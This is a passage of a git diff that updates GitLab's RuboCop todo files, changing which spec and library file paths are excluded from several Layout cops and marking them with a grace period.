- 'ee/spec/mailers/credentials_inventory_mailer_spec.rb'
- 'ee/spec/mailers/emails/requirements_spec.rb'
- - 'ee/spec/models/analytics/cycle_analytics/project_stage_spec.rb'
- - 'ee/spec/models/concerns/elastic/application_versioned_search_spec.rb'
- - 'ee/spec/models/concerns/elastic/merge_request_spec.rb'
- - 'ee/spec/models/concerns/elastic/milestone_spec.rb'
- - 'ee/spec/models/concerns/elastic/snippet_spec.rb'
- - 'ee/spec/models/security/finding_spec.rb'
+ - 'ee/spec/models/concerns/elastic/issue_spec.rb'
+ - 'ee/spec/models/concerns/elastic/note_spec.rb'
- 'ee/spec/requests/api/analytics/project_deployment_frequency_spec.rb'
- - 'ee/spec/requests/api/experiments_spec.rb'
- - 'ee/spec/requests/api/geo_spec.rb'
- - 'ee/spec/requests/api/graphql/app_sec/fuzzing/api/ci_configuration_type_spec.rb'
- - 'ee/spec/requests/api/graphql/app_sec/fuzzing/coverage/corpus_type_spec.rb'
- - 'ee/spec/requests/api/graphql/ci/minutes/usage_spec.rb'
- - 'ee/spec/requests/api/graphql/milestone_spec.rb'
- - 'ee/spec/requests/api/graphql/mutations/app_sec/fuzzing/api/ci_configuration/create_spec.rb'
- - 'ee/spec/requests/api/graphql/mutations/gitlab_subscriptions/activate_spec.rb'
- 'ee/spec/requests/api/graphql/mutations/iterations/create_spec.rb'
- - 'ee/spec/requests/api/graphql/mutations/timelogs/create_spec.rb'
- - 'ee/spec/requests/api/internal/base_spec.rb'
- 'ee/spec/requests/api/internal/upcoming_reconciliations_spec.rb'
- - 'ee/spec/requests/api/members_spec.rb'
- 'ee/spec/requests/api/merge_requests_spec.rb'
+ - 'ee/spec/requests/ee/projects/deploy_tokens_controller_spec.rb'
- 'ee/spec/requests/groups/group_members_controller_spec.rb'
- - 'ee/spec/requests/projects/issue_feature_flags_controller_spec.rb'
- - 'ee/spec/serializers/issues/linked_issue_feature_flag_entity_spec.rb'
- - 'ee/spec/serializers/license_entity_spec.rb'
- - 'ee/spec/serializers/linked_feature_flag_issue_entity_spec.rb'
- - 'ee/spec/serializers/security/vulnerability_report_data_entity_spec.rb'
- - 'ee/spec/services/analytics/cycle_analytics/consistency_check_service_spec.rb'
- - 'ee/spec/services/analytics/cycle_analytics/data_loader_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/profile_schedules/audit/update_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/profiles/audit/update_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/profiles/create_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/profiles/destroy_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/profiles/update_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/scanner_profiles/create_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/scanner_profiles/destroy_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/site_profiles/audit/update_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/site_profiles/create_service_spec.rb'
- - 'ee/spec/services/app_sec/dast/site_profiles/destroy_service_spec.rb'
- - 'ee/spec/services/app_sec/fuzzing/api/ci_configuration_create_service_spec.rb'
- - 'ee/spec/services/app_sec/fuzzing/coverage/corpuses/create_service_spec.rb'
- - 'ee/spec/services/approval_rules/create_service_spec.rb'
- - 'ee/spec/services/approval_rules/update_service_spec.rb'
- - 'ee/spec/services/audit_event_service_spec.rb'
- - 'ee/spec/services/ci/create_pipeline_service_spec.rb'
+ - 'ee/spec/services/approval_rules/project_rule_destroy_service_spec.rb'
+ - 'ee/spec/services/deploy_keys/create_service_spec.rb'
- 'ee/spec/services/ee/alert_management/http_integrations/create_service_spec.rb'
- 'ee/spec/services/ee/alert_management/http_integrations/update_service_spec.rb'
- - 'ee/spec/services/ee/merge_requests/create_pipeline_service_spec.rb'
- - 'ee/spec/services/ee/post_receive_service_spec.rb'
+ - 'ee/spec/services/ee/projects/deploy_tokens/create_service_spec.rb'
+ - 'ee/spec/services/ee/projects/deploy_tokens/destroy_service_spec.rb'
+ - 'ee/spec/services/ee/projects/unlink_fork_service_spec.rb'
- 'ee/spec/services/external_status_checks/create_service_spec.rb'
- - 'ee/spec/services/geo/node_status_request_service_spec.rb'
- - 'ee/spec/services/gitlab_subscriptions/check_future_renewal_service_spec.rb'
- - 'ee/spec/services/gitlab_subscriptions/create_trial_or_lead_service_spec.rb'
- - 'ee/spec/services/gitlab_subscriptions/plan_upgrade_service_spec.rb'
- - 'ee/spec/services/gitlab_subscriptions/preview_billable_user_change_service_spec.rb'
- - 'ee/spec/services/gitlab_subscriptions/reconciliations/calculate_seat_count_data_service_spec.rb'
- - 'ee/spec/services/gitlab_subscriptions/reconciliations/check_seat_usage_alerts_eligibility_service_spec.rb'
+ - 'ee/spec/services/external_status_checks/destroy_service_spec.rb'
- 'ee/spec/services/groups/create_service_spec.rb'
- 'ee/spec/services/groups/destroy_service_spec.rb'
- 'ee/spec/services/iterations/create_service_spec.rb'
- 'ee/spec/services/projects/create_service_spec.rb'
+ - 'ee/spec/services/projects/disable_deploy_key_service_spec.rb'
+ - 'ee/spec/services/projects/enable_deploy_key_service_spec.rb'
- 'ee/spec/services/projects/group_links/create_service_spec.rb'
- 'ee/spec/services/projects/group_links/destroy_service_spec.rb'
- 'ee/spec/services/projects/transfer_service_spec.rb'
- - 'ee/spec/services/security/report_summary_service_spec.rb'
+ - 'ee/spec/services/security/security_orchestration_policies/create_pipeline_service_spec.rb'
- 'ee/spec/services/security/token_revocation_service_spec.rb'
- 'ee/spec/services/security/track_scan_service_spec.rb'
- 'ee/spec/services/timebox_report_service_spec.rb'
- - 'ee/spec/services/users/abuse/git_abuse/namespace_throttle_service_spec.rb'
- - 'ee/spec/support/helpers/ee/login_helpers.rb'
- - 'ee/spec/support/shared_contexts/fixtures/analytics_shared_context.rb'
- - 'ee/spec/support/shared_examples/controllers/analytics/cycle_analytics/shared_stage_shared_examples.rb'
- - 'ee/spec/support/shared_examples/controllers/namespace_storage_limit_alert_shared_examples.rb'
- - 'ee/spec/tasks/gitlab/elastic_rake_spec.rb'
- - 'ee/spec/workers/analytics/cycle_analytics/consistency_worker_spec.rb'
- - 'ee/spec/workers/ci/runners/stale_group_runners_prune_cron_worker_spec.rb'
- - 'ee/spec/workers/gitlab_subscriptions/notify_seats_exceeded_worker_spec.rb'
- - 'lib/api/admin/instance_clusters.rb'
- - 'lib/api/group_clusters.rb'
- - 'lib/api/project_clusters.rb'
- - 'lib/atlassian/jira_connect/client.rb'
- - 'lib/banzai/filter/commit_trailers_filter.rb'
- 'lib/banzai/filter/playable_link_filter.rb'
- - 'lib/banzai/reference_parser/user_parser.rb'
- - 'lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb'
- - 'lib/gitlab/analytics/cycle_analytics/records_fetcher.rb'
+ - 'lib/gitlab/application_rate_limiter.rb'
- 'lib/gitlab/asciidoc.rb'
- 'lib/gitlab/asciidoc/include_processor.rb'
- 'lib/gitlab/auth/otp/strategies/forti_token_cloud.rb'
- 'lib/gitlab/ci/config/entry/processable.rb'
- - 'lib/gitlab/database/query_analyzers/gitlab_schemas_metrics.rb'
- - 'lib/gitlab/database/query_analyzers/prevent_cross_database_modification.rb'
- - 'lib/gitlab/github_import/importer/diff_note_importer.rb'
- - 'lib/gitlab/github_import/importer/pull_request_merged_by_importer.rb'
- - 'lib/gitlab/gitlab_import/client.rb'
- - 'lib/gitlab/graphql/query_analyzers/ast/logger_analyzer.rb'
+ - 'lib/gitlab/database/migrations/observers/query_details.rb'
+ - 'lib/gitlab/database/migrations/observers/transaction_duration.rb'
- 'lib/gitlab/hook_data/issue_builder.rb'
- 'lib/gitlab/hook_data/release_builder.rb'
- - 'lib/gitlab/kubernetes.rb'
- - 'lib/gitlab/kubernetes/namespace.rb'
- - 'lib/gitlab/kubernetes/rollout_instances.rb'
- - 'lib/gitlab/legacy_github_import/client.rb'
- - 'lib/gitlab/push_options.rb'
- 'lib/gitlab/quick_actions/issuable_actions.rb'
- - 'lib/gitlab/usage_data_counters/track_unique_events.rb'
- - 'lib/object_storage/direct_upload.rb'
- - 'lib/tasks/tanuki_emoji.rake'
- - 'qa/qa/ee/resource/board/board_list/project/assignee_board_list.rb'
- - 'qa/qa/ee/resource/board/board_list/project/milestone_board_list.rb'
- 'qa/qa/resource/snippet.rb'
+ - 'qa/qa/specs/features/api/1_manage/migration/gitlab_migration_release_spec.rb'
- 'qa/qa/specs/features/api/3_create/repository/commit_to_templated_project_spec.rb'
- 'qa/qa/specs/features/api/5_package/container_registry_spec.rb'
- - 'qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb'
- 'qa/qa/specs/features/browser_ui/3_create/web_ide/open_web_ide_from_diff_tab_spec.rb'
- 'qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb'
- 'qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_spec.rb'
@@ -299,279 +166,116 @@ Layout/FirstHashElementIndentation:
- 'qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_project_level_spec.rb'
- 'qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb'
- 'qa/qa/specs/features/ee/browser_ui/4_verify/new_discussion_not_dropping_merge_trains_mr_spec.rb'
- - 'spec/components/diffs/stats_component_spec.rb'
- - 'spec/components/pajamas/component_spec.rb'
- - 'spec/config/object_store_settings_spec.rb'
- - 'spec/config/smime_signature_settings_spec.rb'
- - 'spec/controllers/application_controller_spec.rb'
- - 'spec/controllers/concerns/import_url_params_spec.rb'
+ - 'qa/qa/specs/features/ee/browser_ui/5_package/dependency_proxy_sso_spec.rb'
+ - 'qa/spec/support/formatters/test_metrics_formatter_spec.rb'
- 'spec/controllers/concerns/issuable_collections_spec.rb'
- 'spec/controllers/groups/group_members_controller_spec.rb'
- - 'spec/controllers/groups/packages_controller_spec.rb'
- - 'spec/controllers/groups/registry/repositories_controller_spec.rb'
- - 'spec/controllers/import/available_namespaces_controller_spec.rb'
- 'spec/controllers/import/manifest_controller_spec.rb'
- 'spec/controllers/projects/boards_controller_spec.rb'
- 'spec/controllers/projects/branches_controller_spec.rb'
- 'spec/controllers/projects/commit_controller_spec.rb'
- 'spec/controllers/projects/commits_controller_spec.rb'
- 'spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb'
- - 'spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb'
- 'spec/controllers/projects/environments_controller_spec.rb'
- - 'spec/controllers/projects/feature_flags_controller_spec.rb'
- - 'spec/controllers/projects/grafana_api_controller_spec.rb'
- 'spec/controllers/projects/issues_controller_spec.rb'
- 'spec/controllers/projects/jobs_controller_spec.rb'
- 'spec/controllers/projects/merge_requests/creations_controller_spec.rb'
- - 'spec/controllers/projects/merge_requests/drafts_controller_spec.rb'
- - 'spec/controllers/projects/merge_requests_controller_spec.rb'
- 'spec/controllers/projects/milestones_controller_spec.rb'
- 'spec/controllers/projects/notes_controller_spec.rb'
- - 'spec/controllers/projects/packages/packages_controller_spec.rb'
- - 'spec/controllers/projects/pipeline_schedules_controller_spec.rb'
- 'spec/controllers/projects/pipelines_controller_spec.rb'
- 'spec/controllers/projects/project_members_controller_spec.rb'
- 'spec/controllers/projects/registry/repositories_controller_spec.rb'
- 'spec/controllers/projects/registry/tags_controller_spec.rb'
+ - 'spec/controllers/projects/tags_controller_spec.rb'
- 'spec/controllers/projects/web_ide_terminals_controller_spec.rb'
- 'spec/controllers/projects_controller_spec.rb'
- 'spec/factories/ci/builds.rb'
- 'spec/factories/packages/debian/file_metadatum.rb'
- - 'spec/features/gitlab_experiments_spec.rb'
- 'spec/frontend/fixtures/autocomplete_sources.rb'
- - 'spec/frontend/fixtures/blob.rb'
- - 'spec/frontend/fixtures/jobs.rb'
- - 'spec/frontend/fixtures/runner.rb'
- - 'spec/graphql/mutations/release_asset_links/create_spec.rb'
- - 'spec/graphql/resolvers/concerns/caching_array_resolver_spec.rb'
- - 'spec/graphql/resolvers/crm/organizations_resolver_spec.rb'
- 'spec/graphql/types/ci/detailed_status_type_spec.rb'
- - 'spec/helpers/access_tokens_helper_spec.rb'
- - 'spec/helpers/admin/application_settings/settings_helper_spec.rb'
- - 'spec/helpers/admin/deploy_key_helper_spec.rb'
- - 'spec/helpers/analytics/cycle_analytics_helper_spec.rb'
- - 'spec/helpers/ci/builds_helper_spec.rb'
- - 'spec/helpers/ci/jobs_helper_spec.rb'
- - 'spec/helpers/ci/pipeline_editor_helper_spec.rb'
- - 'spec/helpers/deploy_tokens_helper_spec.rb'
- - 'spec/helpers/groups/settings_helper_spec.rb'
- - 'spec/helpers/groups_helper_spec.rb'
- - 'spec/helpers/issuables_helper_spec.rb'
- - 'spec/helpers/namespaces_helper_spec.rb'
- - 'spec/helpers/page_layout_helper_spec.rb'
- - 'spec/helpers/projects/cluster_agents_helper_spec.rb'
- - 'spec/helpers/projects/pipeline_helper_spec.rb'
- - 'spec/helpers/releases_helper_spec.rb'
+ - 'spec/helpers/groups/observability_helper_spec.rb'
+ - 'spec/helpers/learn_gitlab_helper_spec.rb'
+ - 'spec/helpers/projects/pages_helper_spec.rb'
- 'spec/helpers/routing/pseudonymization_helper_spec.rb'
- - 'spec/helpers/search_helper_spec.rb'
- - 'spec/helpers/sorting_helper_spec.rb'
- - 'spec/initializers/direct_upload_support_spec.rb'
- - 'spec/lib/api/entities/bulk_imports/export_status_spec.rb'
- - 'spec/lib/api/entities/design_management/design_spec.rb'
- - 'spec/lib/api/entities/merge_request_approvals_spec.rb'
+ - 'spec/initializers/rack_multipart_patch_spec.rb'
- 'spec/lib/api/entities/personal_access_token_spec.rb'
- - 'spec/lib/atlassian/jira_connect/client_spec.rb'
- - 'spec/lib/backup/database_spec.rb'
- - 'spec/lib/backup/repositories_spec.rb'
- - 'spec/lib/banzai/filter/audio_link_filter_spec.rb'
- - 'spec/lib/banzai/filter/repository_link_filter_spec.rb'
- - 'spec/lib/banzai/filter/video_link_filter_spec.rb'
- 'spec/lib/bulk_imports/common/pipelines/milestones_pipeline_spec.rb'
- - 'spec/lib/bulk_imports/groups/pipelines/project_entities_pipeline_spec.rb'
- - 'spec/lib/bulk_imports/groups/pipelines/subgroup_entities_pipeline_spec.rb'
- 'spec/lib/bulk_imports/groups/stage_spec.rb'
- - 'spec/lib/bulk_imports/groups/transformers/group_attributes_transformer_spec.rb'
- 'spec/lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline_spec.rb'
- 'spec/lib/bulk_imports/projects/pipelines/project_feature_pipeline_spec.rb'
- 'spec/lib/container_registry/client_spec.rb'
- - 'spec/lib/feature/definition_spec.rb'
- - 'spec/lib/gitlab/alert_management/payload/base_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb'
- - 'spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb'
- - 'spec/lib/gitlab/api_authentication/builder_spec.rb'
+ - 'spec/lib/gitlab/application_rate_limiter_spec.rb'
- 'spec/lib/gitlab/asciidoc_spec.rb'
- - 'spec/lib/gitlab/auth/ldap/config_spec.rb'
- - 'spec/lib/gitlab/auth/o_auth/user_spec.rb'
- - 'spec/lib/gitlab/auth/request_authenticator_spec.rb'
- - 'spec/lib/gitlab/background_migration/fix_vulnerability_occurrences_with_hashes_as_raw_metadata_spec.rb'
- 'spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb'
- 'spec/lib/gitlab/background_migration/recalculate_vulnerabilities_occurrences_uuid_spec.rb'
- 'spec/lib/gitlab/bitbucket_import/importer_spec.rb'
- - 'spec/lib/gitlab/bitbucket_server_import/importer_spec.rb'
- - 'spec/lib/gitlab/changes_list_spec.rb'
- - 'spec/lib/gitlab/checks/changes_access_spec.rb'
- - 'spec/lib/gitlab/ci/build/cache_spec.rb'
- - 'spec/lib/gitlab/ci/build/step_spec.rb'
- - 'spec/lib/gitlab/ci/config/entry/bridge_spec.rb'
- - 'spec/lib/gitlab/ci/config/entry/product/variables_spec.rb'
- - 'spec/lib/gitlab/ci/config/yaml/tags/resolver_spec.rb'
- 'spec/lib/gitlab/ci/config_spec.rb'
- 'spec/lib/gitlab/ci/parsers/codequality/code_climate_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/coverage/sax_document_spec.rb'
- 'spec/lib/gitlab/ci/parsers/security/common_spec.rb'
- 'spec/lib/gitlab/ci/pipeline/chain/populate_spec.rb'
- 'spec/lib/gitlab/ci/pipeline/seed/build/cache_spec.rb'
- - 'spec/lib/gitlab/ci/reports/coverage_report_spec.rb'
- - 'spec/lib/gitlab/ci/reports/security/identifier_spec.rb'
- - 'spec/lib/gitlab/ci/reports/security/scanner_spec.rb'
- - 'spec/lib/gitlab/ci/reports/terraform_reports_spec.rb'
- 'spec/lib/gitlab/ci/yaml_processor_spec.rb'
- 'spec/lib/gitlab/config_checker/puma_rugged_checker_spec.rb'
- 'spec/lib/gitlab/data_builder/build_spec.rb'
- 'spec/lib/gitlab/data_builder/issuable_spec.rb'
- 'spec/lib/gitlab/data_builder/pipeline_spec.rb'
- - 'spec/lib/gitlab/database/load_balancing/setup_spec.rb'
- 'spec/lib/gitlab/database/migration_helpers_spec.rb'
- - 'spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb'
- - 'spec/lib/gitlab/database_spec.rb'
- - 'spec/lib/gitlab/error_tracking/error_repository/open_api_strategy_spec.rb'
- - 'spec/lib/gitlab/error_tracking_spec.rb'
- 'spec/lib/gitlab/git/conflict/file_spec.rb'
- - 'spec/lib/gitlab/git/hook_env_spec.rb'
- - 'spec/lib/gitlab/git/repository_spec.rb'
- - 'spec/lib/gitlab/gitaly_client/operation_service_spec.rb'
- - 'spec/lib/gitlab/gitaly_client_spec.rb'
- - 'spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb'
- - 'spec/lib/gitlab/github_import/logger_spec.rb'
- - 'spec/lib/gitlab/github_import/object_counter_spec.rb'
- - 'spec/lib/gitlab/gpg_spec.rb'
- - 'spec/lib/gitlab/graphql/query_analyzers/ast/logger_analyzer_spec.rb'
- - 'spec/lib/gitlab/graphql/tracers/logger_tracer_spec.rb'
- - 'spec/lib/gitlab/graphql/tracers/timer_tracer_spec.rb'
- - 'spec/lib/gitlab/http_spec.rb'
- - 'spec/lib/gitlab/i18n_spec.rb'
- - 'spec/lib/gitlab/import/logger_spec.rb'
+ - 'spec/lib/gitlab/git/gitmodules_parser_spec.rb'
- 'spec/lib/gitlab/import_export/attributes_finder_spec.rb'
- 'spec/lib/gitlab/import_export/members_mapper_spec.rb'
- 'spec/lib/gitlab/instrumentation_helper_spec.rb'
- - 'spec/lib/gitlab/kubernetes/kubeconfig/template_spec.rb'
- - 'spec/lib/gitlab/kubernetes/rollout_instances_spec.rb'
- - 'spec/lib/gitlab/legacy_github_import/label_formatter_spec.rb'
- - 'spec/lib/gitlab/metrics/dashboard/importers/prometheus_metrics_spec.rb'
- 'spec/lib/gitlab/metrics/subscribers/action_cable_spec.rb'
- - 'spec/lib/gitlab/middleware/multipart/handler_spec.rb'
- - 'spec/lib/gitlab/pagination/keyset/in_operator_optimization/order_by_columns_spec.rb'
- 'spec/lib/gitlab/phabricator_import/conduit/user_spec.rb'
- - 'spec/lib/gitlab/prometheus_client_spec.rb'
- - 'spec/lib/gitlab/push_options_spec.rb'
- - 'spec/lib/gitlab/submodule_links_spec.rb'
- - 'spec/lib/gitlab/usage_data/topology_spec.rb'
- - 'spec/lib/gitlab/utils_spec.rb'
- - 'spec/lib/gitlab/web_ide/config/entry/global_spec.rb'
+ - 'spec/lib/gitlab/sidekiq_migrate_jobs_spec.rb'
+ - 'spec/lib/gitlab/workhorse_spec.rb'
- 'spec/lib/mattermost/team_spec.rb'
- - 'spec/lib/microsoft_teams/activity_spec.rb'
- - 'spec/lib/peek/views/memory_spec.rb'
+ - 'spec/lib/peek/views/redis_detailed_spec.rb'
- 'spec/mailers/emails/merge_requests_spec.rb'
- - 'spec/models/active_session_spec.rb'
- - 'spec/models/analytics/cycle_analytics/aggregation_spec.rb'
- - 'spec/models/ci/pipeline_spec.rb'
- - 'spec/models/ci_platform_metric_spec.rb'
- - 'spec/models/clusters/applications/prometheus_spec.rb'
- - 'spec/models/event_spec.rb'
- - 'spec/models/gpg_key_spec.rb'
- - 'spec/models/instance_configuration_spec.rb'
- - 'spec/models/integrations/base_chat_notification_spec.rb'
- - 'spec/models/integrations/chat_message/deployment_message_spec.rb'
- - 'spec/models/integrations/chat_message/issue_message_spec.rb'
+ - 'spec/models/ci/build_spec.rb'
- 'spec/models/integrations/chat_message/merge_message_spec.rb'
- - 'spec/models/integrations/chat_message/note_message_spec.rb'
- - 'spec/models/integrations/chat_message/pipeline_message_spec.rb'
- - 'spec/models/integrations/chat_message/push_message_spec.rb'
- - 'spec/models/integrations/chat_message/wiki_page_message_spec.rb'
- - 'spec/models/integrations/prometheus_spec.rb'
- - 'spec/models/loose_foreign_keys/modification_tracker_spec.rb'
- - 'spec/models/merge_request_diff_commit_spec.rb'
- - 'spec/models/note_spec.rb'
- - 'spec/models/remote_mirror_spec.rb'
+ - 'spec/models/pages/lookup_path_spec.rb'
+ - 'spec/requests/api/ci/pipelines_spec.rb'
- 'spec/requests/api/ci/runner/runners_post_spec.rb'
- 'spec/requests/api/commit_statuses_spec.rb'
- - 'spec/requests/api/feature_flags_spec.rb'
- - 'spec/requests/api/feature_flags_user_lists_spec.rb'
- 'spec/requests/api/graphql/ci/config_spec.rb'
- - 'spec/requests/api/graphql/ci/group_variables_spec.rb'
- - 'spec/requests/api/graphql/ci/instance_variables_spec.rb'
- - 'spec/requests/api/graphql/ci/project_variables_spec.rb'
- - 'spec/requests/api/graphql/group/milestones_spec.rb'
- 'spec/requests/api/graphql/metrics/dashboard/annotations_spec.rb'
- - 'spec/requests/api/graphql/mutations/timelogs/create_spec.rb'
- - 'spec/requests/api/graphql/project/cluster_agents_spec.rb'
- - 'spec/requests/api/graphql/project/release_spec.rb'
- - 'spec/requests/api/graphql/project_query_spec.rb'
- - 'spec/requests/api/internal/base_spec.rb'
- - 'spec/requests/api/merge_requests_spec.rb'
- - 'spec/requests/api/project_import_spec.rb'
- - 'spec/requests/api/project_snapshots_spec.rb'
- - 'spec/requests/api/projects_spec.rb'
+ - 'spec/requests/api/graphql/project/fork_details_spec.rb'
+ - 'spec/requests/api/ml/mlflow_spec.rb'
- 'spec/requests/api/releases_spec.rb'
- - 'spec/requests/api/repositories_spec.rb'
- - 'spec/requests/api/settings_spec.rb'
- 'spec/requests/api/task_completion_status_spec.rb'
- - 'spec/requests/api/unleash_spec.rb'
- - 'spec/requests/git_http_spec.rb'
- 'spec/requests/groups/email_campaigns_controller_spec.rb'
- - 'spec/requests/jira_authorizations_spec.rb'
- - 'spec/requests/jira_connect/installations_controller_spec.rb'
- - 'spec/requests/lfs_http_spec.rb'
- - 'spec/serializers/blob_entity_spec.rb'
- - 'spec/serializers/integrations/harbor_serializers/artifact_entity_spec.rb'
- - 'spec/serializers/integrations/harbor_serializers/repository_entity_spec.rb'
- - 'spec/serializers/integrations/harbor_serializers/tag_entity_spec.rb'
- - 'spec/services/bulk_imports/create_pipeline_trackers_service_spec.rb'
- - 'spec/services/ci/create_pipeline_service/custom_yaml_tags_spec.rb'
- - 'spec/services/ci/create_pipeline_service/parent_child_pipeline_spec.rb'
- - 'spec/services/ci/create_pipeline_service_spec.rb'
- - 'spec/services/ci/find_exposed_artifacts_service_spec.rb'
- - 'spec/services/ci/play_manual_stage_service_spec.rb'
- - 'spec/services/ci/runners/reconcile_existing_runner_versions_service_spec.rb'
- - 'spec/services/clusters/agents/create_service_spec.rb'
- - 'spec/services/clusters/aws/authorize_role_service_spec.rb'
+ - 'spec/requests/projects/merge_requests/creations_spec.rb'
+ - 'spec/requests/pwa_controller_spec.rb'
+ - 'spec/rubocop/cop/usage_data/distinct_count_by_large_foreign_key_spec.rb'
+ - 'spec/rubocop/cop/usage_data/histogram_with_large_table_spec.rb'
+ - 'spec/rubocop/cop/usage_data/instrumentation_superclass_spec.rb'
+ - 'spec/rubocop/cop/usage_data/large_table_spec.rb'
+ - 'spec/services/ci/pipeline_artifacts/coverage_report_service_spec.rb'
+ - 'spec/services/ci/register_job_service_spec.rb'
- 'spec/services/clusters/update_service_spec.rb'
- - 'spec/services/commits/tag_service_spec.rb'
- - 'spec/services/database/consistency_check_service_spec.rb'
- - 'spec/services/git/branch_push_service_spec.rb'
- - 'spec/services/google_cloud/create_cloudsql_instance_service_spec.rb'
- - 'spec/services/import/fogbugz_service_spec.rb'
+ - 'spec/services/google_cloud/get_cloudsql_instances_service_spec.rb'
- 'spec/services/import/github_service_spec.rb'
- - 'spec/services/import/gitlab_projects/file_acquisition_strategies/remote_file_spec.rb'
- - 'spec/services/markdown_content_rewriter_service_spec.rb'
- - 'spec/services/merge_requests/build_service_spec.rb'
- - 'spec/services/merge_requests/create_service_spec.rb'
- - 'spec/services/merge_requests/get_urls_service_spec.rb'
- - 'spec/services/merge_requests/refresh_service_spec.rb'
- - 'spec/services/merge_requests/update_service_spec.rb'
- 'spec/services/metrics/dashboard/transient_embed_service_spec.rb'
- 'spec/services/notes/render_service_spec.rb'
- 'spec/services/packages/debian/parse_debian822_service_spec.rb'
- 'spec/services/projects/container_repository/delete_tags_service_spec.rb'
- 'spec/services/projects/create_from_template_service_spec.rb'
- - 'spec/services/projects/lfs_pointers/lfs_download_service_spec.rb'
- - 'spec/services/projects/operations/update_service_spec.rb'
- - 'spec/services/projects/update_service_spec.rb'
+ - 'spec/services/quick_actions/interpret_service_spec.rb'
- 'spec/services/service_ping/submit_service_ping_service_spec.rb'
- - 'spec/services/snippets/count_service_spec.rb'
- 'spec/sidekiq_cluster/sidekiq_cluster_spec.rb'
- - 'spec/support/atlassian/jira_connect/schemata.rb'
+ - 'spec/spam/concerns/has_spam_action_response_fields_spec.rb'
- 'spec/support/helpers/kubernetes_helpers.rb'
- - 'spec/support/helpers/login_helpers.rb'
- - 'spec/support/helpers/prometheus_helpers.rb'
- - 'spec/support/helpers/stub_object_storage.rb'
- 'spec/support/helpers/wiki_helpers.rb'
- 'spec/support/migrations_helpers/namespaces_helper.rb'
- 'spec/support/migrations_helpers/vulnerabilities_findings_helper.rb'
- - 'spec/support/shared_contexts/fixtures/analytics_shared_context.rb'
- 'spec/support/shared_contexts/lib/container_registry/client_shared_context.rb'
- - 'spec/support/shared_examples/graphql/spam_protection_shared_examples.rb'
- 'spec/support/shared_examples/harbor/artifacts_controller_shared_examples.rb'
- 'spec/support/shared_examples/harbor/repositories_controller_shared_examples.rb'
- 'spec/support/shared_examples/harbor/tags_controller_shared_examples.rb'
- - 'spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb'
- 'spec/support/shared_examples/models/clusters/prometheus_client_shared.rb'
- - 'spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb'
- - 'spec/support/shared_examples/requests/rack_attack_shared_examples.rb'
- - 'spec/support_specs/graphql/arguments_spec.rb'
- - 'spec/support_specs/graphql/field_selection_spec.rb'
- - 'spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb'
+ - 'spec/support/shared_examples/requests/api/npm_packages_shared_examples.rb'
+ - 'spec/tasks/gitlab/backup_rake_spec.rb'
- 'spec/tooling/lib/tooling/kubernetes_client_spec.rb'
- - 'spec/views/projects/issues/_issue.html.haml_spec.rb'
- - 'spec/workers/ci/runners/reconcile_existing_runner_versions_cron_worker_spec.rb'
- - 'spec/workers/concerns/gitlab/github_import/object_importer_spec.rb'
+ - 'spec/views/layouts/_head.html.haml_spec.rb'
diff --git a/.rubocop_todo/layout/hash_alignment.yml b/.rubocop_todo/layout/hash_alignment.yml
index 7aa46e3fd05..f58e3fe0d60 100644
--- a/.rubocop_todo/layout/hash_alignment.yml
+++ b/.rubocop_todo/layout/hash_alignment.yml
@@ -1,6 +1,6 @@
---
# Cop supports --autocorrect.
Layout/HashAlignment:
+ Details: grace period
Exclude:
- 'ee/spec/lib/ee/gitlab/usage_data_spec.rb'
- - 'spec/serializers/environment_serializer_spec.rb'
diff --git a/.rubocop_todo/layout/line_continuation_leading_space.yml b/.rubocop_todo/layout/line_continuation_leading_space.yml
new file mode 100644
index 00000000000..14ab2e15857
--- /dev/null
+++ b/.rubocop_todo/layout/line_continuation_leading_space.yml
@@ -0,0 +1,75 @@
+---
+Layout/LineContinuationLeadingSpace:
+ Details: grace period
+ Exclude:
+ - 'app/graphql/resolvers/issues/base_resolver.rb'
+ - 'app/graphql/resolvers/work_items/types_resolver.rb'
+ - 'app/graphql/types/query_type.rb'
+ - 'app/helpers/application_settings_helper.rb'
+ - 'app/helpers/preferences_helper.rb'
+ - 'app/models/environment.rb'
+ - 'app/services/projects/container_repository/destroy_service.rb'
+ - 'config/initializers_before_autoloader/003_gc_compact.rb'
+ - 'ee/app/graphql/ee/mutations/issues/create.rb'
+ - 'ee/app/graphql/ee/types/merge_request_type.rb'
+ - 'ee/app/graphql/mutations/requirements_management/export_requirements.rb'
+ - 'ee/app/models/ci/minutes/notification.rb'
+ - 'ee/app/models/ee/group_group_link.rb'
+ - 'ee/app/models/ee/project_group_link.rb'
+ - 'ee/app/models/protected_environment.rb'
+ - 'ee/app/services/system_notes/epics_service.rb'
+ - 'ee/lib/ee/gitlab/ci/pipeline/quota/size.rb'
+ - 'ee/lib/ee/gitlab/git_access.rb'
+ - 'ee/lib/slack/block_kit/app_home_opened.rb'
+ - 'ee/lib/tasks/gitlab/geo.rake'
+ - 'ee/spec/features/epic_boards/epic_boards_sidebar_spec.rb'
